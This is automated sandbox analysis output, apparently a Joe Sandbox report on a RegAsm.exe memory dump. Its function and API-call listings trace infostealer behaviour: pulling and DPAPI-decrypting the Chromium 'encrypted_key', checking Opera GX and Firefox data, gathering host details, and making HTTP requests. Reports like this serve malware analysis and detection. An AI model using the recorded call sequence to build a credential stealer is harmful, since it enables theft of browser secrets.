Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 5df342e5ce7991606f82030ed0288162f1ba7e06292a00205ee6cf4239b7dc2e
Instruction ID: 2f753fbedd6edd9add26d66ee806573d4ec80faf577aa57932e8683d1d50e8eb
Opcode Fuzzy Hash: 5df342e5ce7991606f82030ed0288162f1ba7e06292a00205ee6cf4239b7dc2e
Instruction Fuzzy Hash: C1117F71900509AFCB40FF75D9025DDBBB1BF04308B90413AE814E3591D779EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 2d231bb5f38b7fa9e5575f049525cd82efefcd3b68c49e3a876efc8642afa260
Instruction ID: 442fa9873dc7f002770bdea40ee9cbaac768a1cc74092784d496e615125a3bbb
Opcode Fuzzy Hash: 2d231bb5f38b7fa9e5575f049525cd82efefcd3b68c49e3a876efc8642afa260
Instruction Fuzzy Hash: C0F0B471600218ABDB24EB68DC45FEE77BC9B44B08F0000AAF645D7180EEF5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437414,0043681B,?,?,?), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b2206d7d63c9dcb6483526cc2e162feb03a43f6f5618b9a680cd6504c01f903d
Instruction ID: 3ac67bacb23cfafef8ec4b18c91a377dc84dfc0a90e8c2d294636718f87bc104
Opcode Fuzzy Hash: b2206d7d63c9dcb6483526cc2e162feb03a43f6f5618b9a680cd6504c01f903d
Instruction Fuzzy Hash: A9714172A00119ABCF01FBA5EE468CD7775EF14309F114036F500B71A1DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

moz-extension+++, xrefs: 0040D4DD
^userContextId=4294967295, xrefs: 0040D4D7

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 229e1c9c4125b9beb8432d8f0dcd7c07f23799ce746ab41748883add3f30aa13
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: 229e1c9c4125b9beb8432d8f0dcd7c07f23799ce746ab41748883add3f30aa13
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

"encrypted_key":", xrefs: 004081DF
, xrefs: 00408241
DPAPI, xrefs: 0040821B

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 701b65aca65c4fb8dc168be9cbdef7344fb8cf2d2f392b0d0de0ace3577fd31f
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 701b65aca65c4fb8dc168be9cbdef7344fb8cf2d2f392b0d0de0ace3577fd31f
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00410F51 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 00416896
ERROR, xrefs: 0041686B

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: 9d6bef6e96ced807ab468dc8993a52d9f0373e1b25ae8473017438b8018234a9
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: 9d6bef6e96ced807ab468dc8993a52d9f0373e1b25ae8473017438b8018234a9
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FE1 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00417048
CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: a933333fad9bd340b18b30eb88140121c52c0b5174dca6836fed6f365d3d225f
Instruction ID: cadfd2f738adb4358b882eccad73f6c5fa04fa67bdf206d0ab743f0929ee9876
Opcode Fuzzy Hash: a933333fad9bd340b18b30eb88140121c52c0b5174dca6836fed6f365d3d225f
Instruction Fuzzy Hash: 49217872900218ABCF10EF96EC419DE7BB9FF44358F10502BF905A3151C778AA86CFA8

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C513060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C513095

Part of subcall function 6C5135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C59F688,00001000), ref: 6C5135D5
Part of subcall function 6C5135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5135E0
Part of subcall function 6C5135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5135FD
Part of subcall function 6C5135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C51363F
Part of subcall function 6C5135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C51369F
Part of subcall function 6C5135A0: __aulldiv.LIBCMT ref: 6C5136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51309F

Part of subcall function 6C535B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5356EE,?,00000001), ref: 6C535B85
Part of subcall function 6C535B50: EnterCriticalSection.KERNEL32(6C59F688,?,?,?,6C5356EE,?,00000001), ref: 6C535B90
Part of subcall function 6C535B50: LeaveCriticalSection.KERNEL32(6C59F688,?,?,?,6C5356EE,?,00000001), ref: 6C535BD8
Part of subcall function 6C535B50: GetTickCount64.KERNEL32 ref: 6C535BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5130BE

Part of subcall function 6C5130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C513127
Part of subcall function 6C5130F0: __aulldiv.LIBCMT ref: 6C513140

Part of subcall function 6C54AB2A: __onexit.LIBCMT ref: 6C54AB30

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dd8a5d4409348bd39e114207b5c75f5f55037df3abaaf24287f9420610506c34
Instruction ID: acbaa210dfd50a62b8d1a1e2da962a26e24d541e71e631f6b0bd586a5b50e65e
Opcode Fuzzy Hash: dd8a5d4409348bd39e114207b5c75f5f55037df3abaaf24287f9420610506c34
Instruction Fuzzy Hash: B3F0F932D20784D7CA10DF34CC511E67374EFAB214F536759F84553511FB2066E88389

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

